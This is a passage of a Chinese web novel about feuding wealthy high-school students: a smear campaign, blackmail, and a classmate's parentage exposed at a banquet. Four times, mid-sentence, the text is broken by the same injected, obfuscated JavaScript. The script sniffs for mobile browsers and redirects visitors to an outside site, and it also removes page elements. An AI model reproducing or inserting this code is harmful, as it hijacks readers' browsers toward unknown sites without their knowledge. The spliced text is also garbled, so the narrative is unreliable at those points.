而门外的沈铭君眼睛红得跟要滴血一样。 他本来以为他来得不是时候,没想到他来得正是时候。 他爸爸居然觉得,喻舟那个一心想当赘婿的软饭男,比他还要优秀。 除了成绩比他好点,那玩意还有什么可以跟他相比的地方? 他原本一直以为,他是独生子,就算他父亲再怎么贬低他,只要熬熬过去,家里的一切迟早也是属于他的。 但现在看起来并不是这样。 喻舟。 令人心慌的恐惧感席卷上来,沈铭君有点站不住了,但他害怕继续待在这里,万一里面的人出来发现他了怎么办。 他还没有做好捅破这层窗户纸的准备。 匆匆忙忙离开后,他在路上碰到了个人。 “这不是少爷吗?刚刚从家里出来?” 沈铭君本来就没什么好表情的脸更难看,是他爸那个公司里叫小陈的员工。 “少爷,您上次吩咐给我的事情我都跟您办妥了,不知道您觉得怎么样?”小陈脸上带着讨好的笑问道。 “哦,那个啊,还行吧。”他勉强敷衍了一句就想走,但没想到小陈居然挡住了他不让他走。 “我因为酒品不好,之前在饭局上闹了笑话,想和沈总陪个不是。不知道您能不能代为引荐一下。” 沈铭君嘲讽地看着对方。 他听过这件事情,有个员工在聚餐中打了公司高管,那高管扬言要让他在业内混不下去。 合着帮忙办事就是想趁机提这件事情。 什么档次,还敢跟他谈条件。 他又想起刚刚的糟心事,语调相当刻薄:“你想见自己去找不就行了?脸还挺大的。” “你是要白嫖我?”小陈声音颤抖。 沈铭君差点没被气笑,怎么会有这么拎不清的人:“你什么身份,我什么身份?再纠缠,小心我先让你真的混不下去。” 看着面前比他大了好多岁的男人连话都说不出来,沈铭君的心情好多了。 这种以势压人的感觉让他无比神清气爽,他都不知道多久没有过这种感觉了。 从小他就是被捧着长大,直到进了明德高中,进了那个十一班,他噩梦一样的生活就此开启,里面的人背景一个比一个强,脾气也一个比一个大,他基本上没有能惹得起。为数不多敢惹的嘴皮子还比他利索,怼的他话都说不出来。 打完胜战后,他刚要离开,小陈却直接抓住了他的手腕。 “这样可不行啊。”小陈用古怪的语调说道,“现在这件事可不是你说想停就能停下来的。” 沈铭君刚要发火,小陈已经将亮起的手机递到了他的面前。 在看清上面的东西时,沈铭君的脸色勃然大变,他赶紧去夺过手机:“谁让你发这个的!” 被夺过来的手机啪的一下砸在地上,本来就已经充满岁月痕迹的屏幕瞬间黑了下来。 “少爷,你砸了有什么用,我早就已经发出去了。”小陈的声音还在颤,但他的底调却是兴奋上扬的。 “转发补充后续,文中的G姓豪门指的就是顾氏珠宝,当年那个为爱争风吃醋的弟弟就是顾氏珠宝现任总裁。” 沈铭君头晕得厉害,他脱口而出:“谁让你指名道姓的?” 小陈没理他,越说越激动,声音大到周围的路人都停了下来悄悄围观。 “不仅如此,他将那个身世存在疑点的孩子养在身边,并且根据曾经在顾家就职过的帮佣所说,那两人似乎保持着一种不可言说的关系。” 听到这句话后,沈铭君如置冰窖,浑身发凉,他不可置信地望着小陈:“我什么时候告诉过你这些?” “我、我只是想让你模糊地爆点料,给顾央添添堵就行,你是想让我死吗?” “不是您跟我说,让我看着发挥吗?”说完这些话后,小陈稍微平静了点。 “……删了。” “我的手机不是被砸碎了吗?” 沈铭君语无伦次:“我的给你用,快快点删了……” “我不会删的。”小陈彻底冷静了。 沈铭君满脑子都是当时他在听到顾家这个瓜时没忍住爆在了论坛上结果被实名教育做人,贺明安直接用学校的名义给他家里打了电话,害得他被沈山狠狠抽了一顿,皮带打在身上的感觉现在想起来还会害怕。 这次还闹得更大了,况且现在还多了个喻舟,沈山会不会直接厌弃了他…… “你这么搞顾家对你有什么好处?” “您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807868|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是弄错了,不是我搞的顾家,是您要求我去搞顾家,我什么身份,你又是什么身份?”小陈思路相当清晰,“聊天记录都还在,换台设备就能恢复了。 “到时候不管是顾总沈总还是什么总问我,我就给他甩聊天记录,我肯定要完,您也别想好过。” “反正他们想让我混不下去了,我还不如拼一把。”小陈的脸色带着股狂轰滥炸后短暂的平静感,“少爷,我也就是个可怜的打工人,您想办法帮我得到沈总的原谅,我就停手,不然我也不知道我接下来会发什么东西出来。” “对了,那个手机你也得陪我,我要最新出来的水果机promax。” 看着面前倒反天罡的人,沈铭君终于感受到了什么叫做骑虎难下。 他刚打算先应下来把人稳住,这时手机铃声突然响了。 是沈山的电话,沈铭君在小陈的目光中颤颤巍巍地去接。 带着怒气的声音在耳边炸开:“我不管你在哪里,现在马上给我滚回来——” -冰冷的风从耳边呼啸着刮擦过去,顾央扯了下搭在脖子上的围巾。 他站在马路牙子上发呆,周围的目光隐晦地不断打量过来。 “是他吗?热搜上的那个?” “是吧,和爆照一模一样,好巧,” “真人还挺好看的,不是照骗诶。” “小声点,别被他听到了。” 随着八卦低语不断深入,宋引星再也没法忍受,他走上前去,一把拉过顾央往小巷子里拐进去。 “宋……引星?”面前的少年喊出了他的名字。 “嗯,我刚好在这旁边的炸鸡店打工。”未免对方误会,宋引星解释了句。 组织了下语言,他继续说道:“这家炸鸡店基本都是附近中学的学生过来光顾,都是同龄人,他们对这种热搜本来就会关注度高点,你别想太多,也没有那么广。” “你怎么还在炸鸡店打工啊?”顾央好奇问道。 他看书里也没讲到宋引星打了那么多份工啊?是因为欠他的一万块钱? 宋引星语塞,沉默地看着对方。 搭在顾央身上那条装饰性大于保暖性的围巾在刚刚的拉扯下,早已经歪得不成样子,他的鼻尖因为过冷的天气冻得透红,衬得肤色更像是层苍白的瓷,隐隐透着青紫的纹理。 是太迟钝了吗? “就在家附近,刚好也是认识的阿姨,有空就过来帮忙,反正按小时结。” “这样啊。”顾央点头,延展完这个问题后思维跳回到上一目录,“你也看到了那个跟我有关的八卦。” 宋引星才意识到自己急过头了,他尴尬地点了点头,小声找补:“首页跳出来的,不是故意想看。” “是吗?怎么不给我这个当事人推送一下,我还是点的班群里的链接。”在那条围巾即将滑下去之前,顾央往前拽了一把。 宋引星张了张口,他在刚刚一脑补了很多,但没想到居然是这么一种聊正常八卦的反应。 ”所以……“顾央重新理完围巾的搭配后,漫不经心地抬起头, “你有什么想问我的吗?” 15. 第 15 章 宋引星咽了口口水,他现在有种莫名的紧张感。 他知道自己不该问的,人家家里的私事。 你又算他什么人?这又关你什么事?宋引星总觉得顾央是会顶着冷淡表情说出这种话的人。 豪门隐私,隔代恩怨,不正当关系…… 只窥见一角,就会觉得阴暗的不像话。他忍不住地浮想联翩。 这条博文下的评论,这个热搜上的广场,乱糟糟一片,素不相识的人透过网线在吃瓜,还有些人浑水摸鱼,说首页有视频,可以点进去看,但实际上都是在卖货。 顾央的目光还落在他身上,有一瞬间,宋引星总觉得对方是希望自己问出口的。 “你和顾氏总裁的事……是真的吗?”宋引星看着他的眼睛问道。 “你说的是什么事?”顾央挑了下眉,“现在版本更新到哪个部分了?给我看一眼。” 他伸手做讨要状,宋引星犹豫着把手机里面的页面展示出来。 “我和……顾氏集团的总裁……”顾央眯着眼睛,凑近了去看上面的字,“……保持着一种不可言说的关系?” 宋引星想要收回手机,以防顾央看到下面那些污言碎语,但顾央已经抓住了他的手。 谁知道在看了几条评论后,顾央直接笑了出来。 他用手背捂住眼睛,笑得简直不要太放肆。 “信了这种东西的,以后老了肯定是卖保健品的那批人最喜欢的。”终于笑够了的顾央戳着屏幕点评道。 宋引星看着他的表情。 “顾俞辉那个人虽然狗了点,但也还没那么变态。”顾央的脸上还残留着笑意,他就着宋引星的手津津有味地继续往下刷。 原来这件事情不是真的,宋引星复杂地想道。 现在的顾央跟他挨得很近,近到仿佛他把对方搂在怀里一样。 在这个角度下,宋引星可以看到对方的睫毛,很纤长,浓密的阴影融进眼下的青黑中,这份暇疵让他看起来更加脆弱,笑起来的时候揉杂出一种阴郁的,奇异的生命力。 但顾央马上就没笑了。 他回头给宋引星看手机屏幕。 “你的手机怎么回事?本来还有三十几的电,突然一下子跳到百分之十。”顾央匪夷所思地说道,“怎么只剩百分之五了?中病毒了?” “没事,是我手机的电池不行了。”宋引星回过神,“店里有充电线,我回去接上就好。” “而且我兼职也还没结束,也不好出来太久,得先回去了。” 往回走的时候,宋引星忍不住回头去看了眼。 顾央还站在原地没有移动,他的神色已经彻底收敛了回去,给人的感觉好冷好冷。 隔着玻璃门,店主阿姨已经忙得焦头烂额,疯狂示意他赶紧回岗位,宋引星强迫自己收回了视线。 「叮——」 -宋引星站在门口,敲了下门。 模糊的声音隔着门说了句:“进来吧。” 宋引星顿了顿,推门往里面走进去。 昨天他的银行账户里面被打了三万元,交易详情写的是补贴金。 他这个学期的补贴开学前就已经打进来了,他不知道这笔钱是怎么回事,因为金额太大,老师建议他去财务室问问。 “请问有什么事吗?”坐在办公桌后面的人是个长相非常俊秀的男生,他放下了拿在手里的手机,双手交叉着放在桌上,笑眯眯地看着进来的人。 宋引星退出去看了眼外面的牌,又重新进来,不确定地说道:“我来找财务老师。” “哦,那个啊。前几天这里翻新了下。”男生解释道,“装修师傅弄乱了几个牌,但问题不大,他们明天会过来改。” “那真正的财务室是在……” “楼上。”宋引星看着往上指的方向,刚想要离开,但对方下一句话却让他止住脚步。 “不过你也没必要去财务室了。让我猜一猜,你是为了补贴金的事情来的吧,宋同学?” 宋引星眉头一皱,终于认出他就是那天顾央身边的那个人。 “那钱没打错,是聂瑛他们给你的赔偿,一人一万。”贺明安说道,他敏锐地捕捉到宋引星瞬间僵硬的脸色,温声说道,“你就收下吧,没事的,他们那边我沟通好了。” “这算什么?封口费吗?”宋引星淡淡地问道。 “别说的这么难听嘛。”贺明安表情有些无奈,“学校最后的处理是作为全部停课一周闭门反省,这事性质挺恶劣的,本来应该全校通报批评加处分,但很抱歉,暂时还做不到。” 他没告诉宋引星聂瑛那一周的停课还是因为在班里聚众闹事。 “所以这钱你就安心拿吧,你就当是折中方案。”说完这句话,贺明安向后仰入靠椅中,角度往旁边轻轻转去,落入阴影中的侧脸隐去了他脸上的笑意。 宋引星知道再待下去也没意义了,他走了出去,关上门后他的动作顿住,许久后才自嘲地笑了出来。 他居然…… 在知道这钱并不是打错的时候他居然还有点高兴。 卡里拥有一笔余额这件事情带给了他好大的安全感,他可以不用操心妈妈下一阶段的治疗费用,可以不用在医生把他叫出去时提着心害怕有什么无法承担的应急情况出现。 他也终于可以把顾央替他转的那笔钱还回去了。 不然他在那个人面前,可能永远也无法抬起头来平等地对话。 一想到到这些,他连带着对丁子雨那群人的恨意都随之消散了很多。 宋引星捂住了自己的脸,靠着墙慢慢地滑落到了地上。 他还真是贱啊。 “真是长本事了,连我的电话都敢挂。”中年男人不变喜怒的声音从电话那头传过来。 “有同学找我问点事情,总不能晾着他吧,还是特招生,那多不好啊。”贺明安把手机开了免提扔桌上,有一下没一下地拨弄着插在花瓶里的玻璃花。 “特招生,又是特招生。”男人冷笑一声,“前几天你还要为了个特招生跟聂家那小子杠上。” “该交好的不好好经营,无关紧要的你还赶着往上面凑。这么些年下来,你怎么就一点长进都没有?每年我让你去聂家小子的生日宴,哪怕是面上走走也行,但你就是不去。” “现在居然还想让校办那边直接公示处分,聂家和我们那么多年了,你就这么把合作伙伴往地上踩是吧,啊?” “这件事的性质就是霸凌,反正丁子雨已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807869|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿了处分,我就顺便给聂瑛也记了一个。” 这株玻璃花并不是市面上流水线生产的东西,做工没有那么精细,通体是一支碧绿的冬青。 轻描淡写的话语让男人的心情更加不佳。 “这是你该管的事情吗?”他冷冷地训斥道,“等你什么时候到我这个位置了,再来做我的主。” “今天居然还闹到让聂夫人过来,你们小辈的时候打打闹闹就过去了,把大人扯进来,这是你该干的事情吗?” 贺明安听着对方的长篇大论,冷不丁地说了句:“可能是因为他今天一直在提您的另一个儿子。” 那边的话头瞬间止住,跟被卡住了喉咙似的,贺明安扯皮扯得也有些心累了,他也算给了对方个台阶下。 “不过既然您都这么说了,那下周聂瑛那个生日宴,我就去一趟吧。” 他脸上的笑容带上了些许讽意:“就当去看场好戏算了。” 挂断电话后,他看了眼面前的台式电脑,上面零零散散打开了好多个页面,他点进其中一个聊天页面,对面的人给了发了消息:“老板,您说的热搜好像已经撤下去了。” “顾家的动作还挺快的。”贺明安喃喃道。 现在这个网络社会,不管做什么都会留下痕迹,他看了眼这几天找人收集的东西,最终可以查询到沈家旗下的公关公司里去。 不过既然顾家已经出手了,应该也不需要这些东西了。 贺明安摇了摇头,直接把这个文件包拖进了回收站里 另外一边的顾宅。 沈铭君穿着件单薄的校服,顶着冷风和他爹持续的低气压在门口不知道站了多少时间。 他的脸色难看得不像话,但到底是不敢甩袖子走人。 可能是里面的人终于觉得晾得差不多了,才高抬贵手让他们进来说话。 顾俞辉并不在家,所以刚刚把他晾在外面的是两个半大的小鬼。 意识到这件事情的沈山心里一沉,但面上没有表现出来,而是满脸笑容看着顾清许。 毕竟不出意外,顾家的产业以后都是由他来继承了,虽然他辈分大,但也不敢拿乔。 “这件事真是个误会,我手下的员工里进了脏东西,撺掇了我那不懂事的儿子。”沈山说了好长一段好话,姿态放的低到不能再低,“说来也真是惭愧,我身体一直不太好,最近一直在医院复查,公司这边的事也没能好好看着。” “是吗?”顾清许微笑,但并不领情,“既然你说是误会了,那要不这样,就让你那个好儿子给我哥磕一个吧。” 沈山听到这话,眉头不由地一皱,很明显他觉得这句话实在是过于胡闹,他自然得拒绝,但也不能拒绝地太伤对方颜面。 看自家父亲低沉着脸不说话,沈铭君还以为对方居然是在犹豫。 他脑子里那根理智的弦崩断,他脸部的肌肉抽搐着,顶着顾清许看笑话的脸,死死盯住顾央缓缓开了口。 “要我给他磕头?真是好笑。” “顾央,你是不是觉得,高高在上坐在那里看我笑话很有趣,但你又算什么东西呢?喜欢上一个男人,还是个什么背景都没有,靠助学金勉强过日子的特招生,你也不就是个自降身价的赔钱货吗?” 16. 第 16 章 这句话一出,全场陷入了尴尬的安静中。 沈山骇然地看着自己的儿子,也不知道对方到底在发什么疯。 顾清许也笑不出来了,他匪夷所思地看着坐在他身边的顾央。 顾央看着沈铭君,一言未发。 突然,一声响亮的耳光打破了沉默,沈山直接给了沈铭君一个大逼斗,把他的儿子头都扇歪了。 到这里还没算完,沈山抬起另一只手又扇上去,完完整整地给沈铭君来了个对称。 “哇,沈先生还真是大义灭亲。”顾清许凉凉地在一旁扇风。 “犬子突发恶疾,让你们两位见笑了,我这个当父亲的,一次没有管好是失职,再来一次,可不就不应该了嘛。” 沈山淡淡地说道:“本来是想来拜访顾总,没想到他不在,那这件事暂时也没法谈了。” “我今天主要就是想将我的诚意带到,到时候顾总回来了,劳烦转告一声,我好当面赔个不是。” 沈山扯过已经被打懵了的沈铭君,告辞后就离开了里。 落了个清净的宅子里,顾清许侧过身朝向顾央。 “说说吧。” 顾央懒洋洋地靠在沙发扶手上,含糊问道:“说什么?” “说什么?”顾清许嗤笑,“说说你自降身段倒追的那个特招生?还是个男的?” 说到这里,顾清许的脸色更加微妙,语气也变得咄咄逼人:“顾央,你居然还喜欢男人?” 顾央从刚才就在脑子里默默复盘,他到底干了什么,让沈铭君觉得他喜欢宋引星。 他不就是帮对方解了个围,在酒店偶遇了一次,去医院探望了下对方妈妈吗? 这都能算是喜欢,那这个世界不都要被同性恋给包围了? 而且沈铭君怎么知道他那么多事? “不说是吧。”顾清许深吸口气,点了点头后撂下狠话:“你给我等着,看看到时候我爸会怎么说。” 说完这句话后,他直接一甩手上了楼。 “事情就是这样。” 顾央总结完这一切后,抱着手里的靠枕问道:“你们说沈铭君到底是怎么推断出我喜欢宋引星的?” 余白:“……” 不是哥们,前面沈铭君给你买了那么大一个黑热搜的事,你是一点都不在意,关注些什么奇奇怪怪的问题呢? “我觉得这好像不太重要。”余白真诚地说道,“但我倒是可以陪你一起骂骂沈铭君那个狗比。” 至于您老关心的那个问题,很抱歉回答不了。 毕竟这是你当初亲自在脑子里面想的,我们在场所有人都听到了。 “算了不说这个了。”余白看顾央还在纠结,怕他太较真还要问,一挥手转移了话题,“说起来你们给聂瑛准备了什么礼物?” “说实话要不是这次班长跟聂家提出想要全班一起去陪他度过这人生中最重要的一刻,我这小门小户的还卖不进那个门呢。” “反正我没指望他收到我的礼物后能感动得泪流满面,就随便买了块表,你们嘞?” 顾央说道:“买了块表。” 贺明安说道:“买了块表。” 人类的本质是台复读机。 余白:“好家伙,我还以为你们起码会买双限量版的鞋之类的,他看着应该是会喜欢这种礼物的。” “我又不知道他的鞋码。” “或者是你自己设计的珠宝?”余白又问道。 顾央不解:“他配吗?” 贺明安弯了下嘴角:“好了,反正就是走个过场而已。” “哇,第一次看到班长都不端水了,这聂瑛果然是惹得天怒人怨了。”余白感叹道。 其实他本来是不想来的,谁没事想不开要去触聂瑛的霉头。 但谁让顾央的心声都预告了,这可是一场大戏。 吃瓜人吃瓜魂,余白决定舍身拼一把看个实况。 而且就算真出什么问题了,顾央和贺明安这两尊大佛在,保他一条狗命还是没问题的……吧? 只可惜应佳仪今天还是没时间来。 不过她这两天的情绪明显好了很多,在余白给她发了消息后,对面居然还回了条记得实时转播给她看。 开到目的地后,他们下了车。 “阿央。”贺明安轻声问道,“你是不是又打了个耳洞?” “嗯。” 位于左边耳骨上的耳洞还没有消肿,只是戴了根透明耳钉。 贺明安看着他,伸手想去碰,但又怕弄疼他,只是没有意义地问了句:“不痛吗?” “还好吧,我没多大感觉。”顾央随意说了句,走到门口时他们碰上了谢坞。 余白震惊:“我们来就算了,你怎么也来了啊老谢?你才跟聂瑛打过架不是,他妈妈还按着他的头让他给你道歉,你不会觉得有点点尴尬吗?” “我尴尬什么?是他打的我又不是我打的他,再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807870|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他要闹就闹,反正砸的是他家,我也不心疼。” 谢坞满不在乎地说道,但可能是顾及到贺明安还在旁边注视着他,哈哈一笑生硬地转了个折:“再说了,大家都是同学嘛,哪有什么隔夜仇,睡一觉不就都忘了。” 余白对他的宽阔心胸肃然起敬,又瞅着他手里抱着的东西,忍不住打趣道:“你准备了什么礼物啊,不会也跟我们一样送块表吧。” 谢坞呵呵一笑:“那哪能,我送的是钟。” 余白:“……” 就说实话吧,你小子今天是不是来砸场子的? “礼物都还是其次的,我们今天不主要是来看热闹的吗?” 谢坞哥俩好地搂住余白往里走,又催促后面两个人赶紧跟上来。 聂瑛的成人宴是在家中操办,门口有专门的助理负责检查邀请函。 余白还是第一次看到这种场面,穿着燕尾礼服带着白手套的男人仔仔细细地把邀请函从头到尾看了一遍,接着又拿出紫外线手电筒验了下上面的水印。 “他们搁这里验钞呢?”余白小声吐槽。 谢坞摇了摇头。 “确实会有些浑水摸鱼的,我上次参加的那个里面就有,全程拉着人安利他们家产品,后来被安保发现了要拖出去,一边惨叫还一边还现场展示,最后真让他谈成合作了。” “真牛逼啊。”感叹完后,他们通过了检查。 这是一个露天的宴会,聂父站在花园里正在和什么人聊天,在看到他们时,还和蔼地招呼了下。 “真难得啊,你们几个小子,这次终于肯给我们家阿瑛一个面子,过来参加他的生日了。” 虽然明显是在调侃,但贺明安带着笑认真回应:“前两年凑上聂同学的生日时,确实不巧都没时间,大家也觉得不好意思,所以我们这次才商量了,全班一起过来陪聂同学过生日。” 这话说得聂父很满意,他前几天才因为聂瑛在班里跟人闹事的事不爽,圈子里都在传他的儿子脾气暴躁,现在贺明安的话和行动无疑是最好的回应。 “那我也不打扰你们年轻人了,阿瑛就在那里,你们好好玩,想吃什么就让厨房做。” 【之前还没怎么注意过,聂兴华看着一脸好男人相。没想到背地里因为妻子怀不上孩子的时期,一直在实行婚内冷暴力,好几次还因为喝多了酒,直接上手打人了。】 【果然是什么样的父亲生出什么样的儿子,遗传性的两个超雄。】 17. 第 17 章 哇。 看着人模狗样的,这事还真是…… 但也不知道是不是这些天听到的炸裂瓜实在是太多,余白除了在心里痛斥了下家暴男必死之外,倒也算不上很震惊。 【丈夫喝醉了酒就要上手打人,还堂而皇之地把自己跟别的女人生下的儿子堂而皇之地带回家,也难怪聂夫人会彻底疯掉,在聂瑛成年那天将DNA检测报告拿给他作为生日礼物,作为她对于这对父子的报复。】 【要我说还是下手太轻了,反正也不缺钱,打印个几百份,在宴会现场直接发不就行了,见者有份啊,反正最丢脸的也不是她。】 全班同学顿时震惊。 草,要这么玩是吧。 真不愧是你啊顾央。 啪的一下,聂瑛阴沉着脸,硬生生握碎了手里的玻璃杯,蓝莓汁混着碎片流淌下来,他的手上还割出好几道口子。 对面跟他套近乎的是个正经人,哪里见过这种场面,吓得话都憋回去了,相当无助地看向聂总。 “这玻璃杯怎么回事,负责采购的人是谁?”聂兴华脸色不变,一旁的助理很有眼色地出来赔罪,然后看着聂瑛的伤口诶呦诶哟直叫唤扯开了话题,屁颠屁颠地去取了医疗箱过来替他包扎。 “天生神力啊。”余白小声逼逼。 “这就破防了,才哪到哪呢。”叶郴笑得像只偷了腥的黄鼠狼,“我有预感今天肯定有场大戏,也不枉我旷了我表叔的出殡跑过来。” 余白:“……” 我们十一班果然是人才济济。 【毕竟聂家老太爷这么大年纪依然老当益壮,抓着集团的实权没有放松,聂兴华和他弟弟一直明争暗斗的,但他一直生不出个孩子,对于老一辈来说没有继承人可是个大问题。】 【因为这个心结,他对聂夫人的态度就一直很差,觉得对方是只生不出蛋的母鸡。】 【但明明就是他不行呀~】 聂瑛一下攥紧了拳头。 助理还没有清理完上面的碎片,眼看着伤口进一步划深,感情充沛地哀嚎了一声少爷心里却在怒骂这个傻逼又整什么死出。 【他的尺寸甚至还没有口红小样长,状态不好的时候还需要吃药,聂夫人每次完事都得跟哄孩子一样抱着他安慰说五分钟也很棒啦。】 【都这样了他居然还不愿意去医院看看是不是他的问题,不断在外面找女人,从二十几岁的小姑娘找到五十几岁生过三胎的寡妇,跟个种马一样是个异性就想要配一配。】 五、五十几岁? 余白没想到这位居然如此重口味,不由地目瞪口呆。 这真的还能生吗?不要虐待老人啊啊啊啊啊! 说起来口红小样有多大? 【好不容易在跟家里一个保姆的过程中让她怀上了,但应该是因为质量太差的原因,中间打了好多次保胎针,请了最好的医疗团队守着才勉勉强强顺利生了下来。】 【害,都说了质量不行就别生孩子了,看吧,最后生出了聂瑛这么个东西来嚯嚯别人。】 【孩子也到手了还在聂夫人面前装什么犊子,反正她也知道你是什么熊样了,把话讲开在床上拉拉手做对好姐妹算了呗。】 “噗。”叶郴没有绷住笑出了声。 顾央这张嘴啊。 可惜了聂兴华听不到这些东西,不然他那张道貌岸然的脸色该露出多么精彩的表情。 不过在得知这种人的秘密后,再去看对方表演出精心伪装的那一套东西,倒也是别有一番风趣。 但身为瓜田中心的聂瑛可就没有那么好的兴致了,他目光骇人无比,恨不得从顾央身上剜下一块肉来。 “你看着我那个好哥哥干什么呢?不就是那天没给你面子维护了个特招生吗?这么记仇?”顾清许站在好友身侧,忍不住调侃道。 聂瑛冷冷地扯了下嘴角:“我记得我好像没跟你说过这件事情,你倒是挺关注他的。” 顾清许看着不远处和其他人聊天的顾央,漫不经心地说道:“可不是得好好关注着吗?不然也不知道哪天就从手心里逃走了。” 他这几天找人调查了最近一段时间和顾央有接触的特招生,还真是给了他好大一个惊喜。 “好了,聂叔叔给你办了那么大一个生日宴,你可是今天的绝对主角,别一副好像要吃人的样子,这么多人盯着看呢。”顾清许好心提醒道。 他又不由感叹,“你这排场可真够大的,这次的厨师还挺难请的,我之前临时想约还约不上,得提前好久,你爸确实是为你费心思。” “他就我这么一个儿子,不替我操劳还替想替谁。”聂瑛嗤笑一声,这句话让他重拾回了点底气。 助理保持着职业微笑,将绷带固定好后缩回了手。 他表面唯唯诺诺,心里却在暗想:青天大老爷,什么费不费心,老板不就动了动嘴皮子,这场生日宴上的所有心思可都是他花的。 “好了,这伤弄得我有点难受,我先进去休息会,你们好好玩,后面切蛋糕的时候我会回来的。”聂瑛搭了下顾清许的肩膀后,就跟脚下燎火了一样飞速地跑回了房子里面。 顾清许面上不显,但心里却有些奇。 平时打架跟疯子似的,好像缺了痛觉,今天是哪根筋搭错了。 聂瑛上了二楼回到自己房间的洗手间,捧了把水往自己脸上浇,滴滴答答的水花不断往下流,刚刚仔细包好的绷带也完全浸湿了,刺得伤口很疼。 这份疼痛让他燥乱的心平静了点。 走出门时,聂瑛刚刚好撞上想要穿过走廊的聂夫人。 “妈。”聂瑛握着手,低头挡在那里一句话也说不出来。 一向嚣张乖戾的少年,此刻居然还有些手足无措。 “嗯。”聂夫人点了下头,“今天不是你的生日吗?一个人站在这里干什么?” 聂瑛张了张口,却不知道该说些什么。 他好想问一句,既然都知道是生日了,为什么不愿意陪他一起出席。 从很小的时候开始,他每年都会这样问一句,但女人总是冷淡而客套地婉拒他。 甚至就在这么重要的一天里,她居然还是穿着一身黑衣,不愿意为了他换身衣服。 但是今年,他居然有些不敢问了。 顾央的那些话跟梦魇一样萦绕在他的心里,一遍又一遍地重复着。 告诉他他并不是眼前这位优雅而美丽,出生高贵的女人的孩子。 他居然只是一个低贱的保姆生的。 一想到这里他就觉得荒唐地想笑。 怎么可能,顾央他怎么敢这么给他泼脏水。 他是聂兴华老来得的唯一儿子,以后整个聂氏注定都是要由他来继承,他出生的起点就和别人不一样。 没错,他就是瞧不起那些特招生们,尤其是宋引星这样,觉得自己的成绩稍微好点就满脸清高的人,居然还敢多管闲事报警,害他又是在聂夫人不耐烦的目光中被带出警局。 也不想想自己是什么档次,以后打工一辈子的钱肯定都没他现在的零花钱多。 所以他默许跟班去找事情,看着清高的大学霸因为区区一万块钱,就要被迫下跪来求他,这样的画面让他觉得很有趣 “妈,我……”聂瑛艰难地想要扯动喉结。 这些天他有无数次的机会可以去询问,但是他根本不敢。 他明明不该相信的,那只要不问出口不就行了?就能让这个愚蠢的谎言彻底消失。 “不过刚刚好。”聂夫人难得用微笑对他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807871|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我给你准备好了生日礼物,过来吧。” 那个他期盼了很久的微笑,此时像是催命的符号一样。 和顾央说的一模一样,事情正在按照顾央心声的方向发展。 巨大的恐惧感笼罩了他,他也不知道自己害怕的到底是什么。 聂瑛的脚钉在原地无法动弹。 聂夫人用奇异的目光看着他,兀得,她脸上的笑容加深了点:“你都知道了啊。” 这句话轰得一下震碎了他的耳膜,他听到了很重的嗡鸣声,一时之间连方位感都要分不清了。 “我说这几天怎么一直想跟我说什么?”聂夫人又笑了下,她应该是真觉得这件事情很有趣,以至于早已经死掉的心都重新泛了点涟漪。 “没错,你不是我亲生的。” 聂夫人难得愿意跟这个便宜儿子说话,她动作轻柔地从身后的柜子里拿出那份鉴定书:“拿去吧。” 那份鉴定书被一巴掌拍开,聂瑛惊疑未定:“这不是真的,我不相信!” “我明明就是您的孩子啊——” “你不是。” 很平淡的三个字,却瞬间击碎了聂瑛。 这几天的时间里,他把自己关在房间里自暴自弃,学校也不肯去,有人赶过来劝他,他就会砸一件房间里面的东西示威。 但他最恐惧的事情还是在倒计时中不断接近他。 他被他爸从房间里拉了出来,长到看不到头的宾客名单上,那些文字似乎都在蠕动着嘲讽他,一个两个的,平时见不到人影,现在过来要看他笑话。 而现在,审判他的时候到了 “我怎么可能不是你的孩子……”聂瑛看着面前的女人,一字一句慢慢地说道,“我们家又没其他孩子了。” “难道你是想说,你没有孩子?” 聂夫人没说话,用沉默去回应他。 “你是想告诉我,你就是个生不出蛋的母鸡?” 聂夫人倒是没想到他会说出这种话来,顿了好久才终于开口说道:“你还真不愧是他的儿子,连恶心人的话都是一模一样。” 